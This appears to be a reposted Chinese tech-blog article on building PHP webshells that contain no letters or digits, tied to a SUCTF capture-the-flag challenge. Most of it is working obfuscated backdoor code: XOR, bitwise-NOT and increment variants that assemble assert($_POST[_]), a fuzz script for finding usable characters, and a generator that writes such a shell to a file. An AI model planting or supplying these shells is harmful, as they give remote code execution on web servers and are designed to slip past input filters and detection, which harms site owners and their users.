您好,登錄后才能下訂單哦!
小編給大家分享一下如何實現不包含數字字母的WebShell,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
^
運算<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
這個馬是不能直接用的,因為代碼中的url編碼其實對應的是一個不可打印的特殊字符,這里只是為了顯示程序方便,作者用url編碼來取代,實際上木馬應該是下面這個樣子:
或者你還可以按照如下兩種形式修改木馬,使得木馬可以運行。
<?php $_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`'); $__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
<?php $_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); $__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
~
運算<?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[_]);// assert($_POST[_]);
前兩天的SUCTF就考察了這個,但是需要對代碼稍作修改。原題目可以寫入特殊字符只有: ~ $ _ ; = ( )
,修改如下:(PS:代碼由 Wfox
師傅fuzz出來,也是參考P牛的文章 )
<?php $__=[]; $___=[]; $_=$__==$___; $__=~(瞰); $___=$__[$_]; $__=~(北); $___.=$__[$_].$__[$_]; $__=~(的); $___.=$__[$_]; $__=~(半); $___.=$__[$_]; $__=~(拾); $___.=$__[$_]; $____=~(~(_)); $__=~(說); $____.=$__[$_]; $__=~(小); $____.=$__[$_]; $__=~(次); $____.=$__[$_]; $__=~(站); $____.=$__[$_]; $_=$$____; $___($_[_]);// assert($_POST[_]);
fuzz腳本如下:
<?php $charset = '"'; for ($i=0; $i < 65536; $i++) { $charset .= sprintf("\u%04s",dechex($i).''); //生成 \u0000 - \uffff 字符集 } $charset = json_decode($charset.'"'); //json_decode解碼格式:json_decode('"xxxxxxxx"') header('Content-Type: text/html; charset=utf-8'); for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) { $st = mb_substr($charset, $i,1,'utf-8'); $a = ~($st); $b = $a[1]; echo $st.' '.$b.'<br>'; } ?>
賽后官方也提供了WP,PHP中使用按位取反(~)函數創建后門 。按照這篇文章,沒有成功生成可用的shell,于是我又參考了另外一篇文章 Deformity PHP Webshell、Webshell Hidden Learning ,生成腳本如下:
# generate.php 運行該程序,生成木馬shell.php, assert('eval($_POST[_])'); <?php file_put_contents('yihuo.php', '<?php $_=~'.(~'assert').';$__=~'.(~'eval($_POST[_])').';$_($__);?>') ?>
++
<?php @$_=[].''; @$___=$_['']; $_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____; @$___($_[_]);// assert($_POST[_]); ?>
看完了這篇文章,相信你對“如何實現不包含數字字母的WebShell”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。